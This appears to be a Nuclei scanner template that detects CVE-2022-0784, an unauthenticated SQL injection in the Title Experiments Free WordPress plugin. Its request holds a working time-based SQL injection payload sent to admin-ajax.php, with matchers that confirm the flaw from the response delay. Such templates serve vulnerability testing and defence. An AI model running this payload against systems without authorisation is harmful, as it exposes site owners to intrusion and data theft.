id: CVE-2022-0784

info:
  name: Title Experiments Free < 9.0.1 - Unauthenticated SQLi
  author: theamanrawat
  severity: critical
  description: |
    The Title Experiments Free WordPress plugin before 9.0.1 does not sanitise and escape the id parameter before using it in a SQL statement via the wpex_titles AJAX action (available to unauthenticated users), leading to an unauthenticated SQL injection.
  reference:
    - https://wpscan.com/vulnerability/6672b59f-14bc-4a22-9e0b-fcab4e01d97f
    - https://wordpress.org/plugins/wp-experiments-free/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0784
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0784
    cwe-id: CWE-89
  metadata:
    verified: "true"
  tags: cve,wpscan,wp-plugin,wp,sqli,wp-experiments-free,unauth,cve2022,wordpress

requests:
  - raw:
      - |
        @timeout: 10s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpex_titles&id[]=1 AND (SELECT 321 FROM (SELECT(SLEEP(6)))je)

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "{\"images\":")'
        condition: and